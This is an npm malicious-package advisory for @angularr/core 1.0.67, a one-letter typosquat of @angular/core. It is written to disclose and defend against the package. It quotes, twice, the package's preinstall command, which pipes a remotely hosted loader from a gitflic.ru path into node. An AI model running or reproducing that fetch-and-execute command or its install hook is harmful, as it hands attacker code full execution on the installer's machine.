npm · Malicious package advisory
Malware@angularr/core
MAL-2026-17493
Malicious code in @angularr/core (npm)
Details
@angularr/[email protected] impersonates @angular/core (by name only; its code is an unrelated library described as "Core Libs") and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @angularr/core and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (801dcd769bdbf58aa11a657a5344e075ed57fcdafd1384b47ba611956e7cb365) The package's npm preinstall lifecycle script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching a JavaScript payload from a third-party host and piping it directly to node for execution on every `npm install`. The destination (gitflic.ru under a user path `hellscripter/install-scripts`, routed via a web.archive.org proxy) is unrelated to any `@angular` publisher infrastructure, is unpinned, and is not integrity-checked. Whoever controls that path controls code execution on the installer's host. The package name `@angularr/core` is a one-letter variant of the widely-used `@angular/core`, increasing the likelihood of accidental installation.
Compromised versions (1)
- 1.0.67
Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.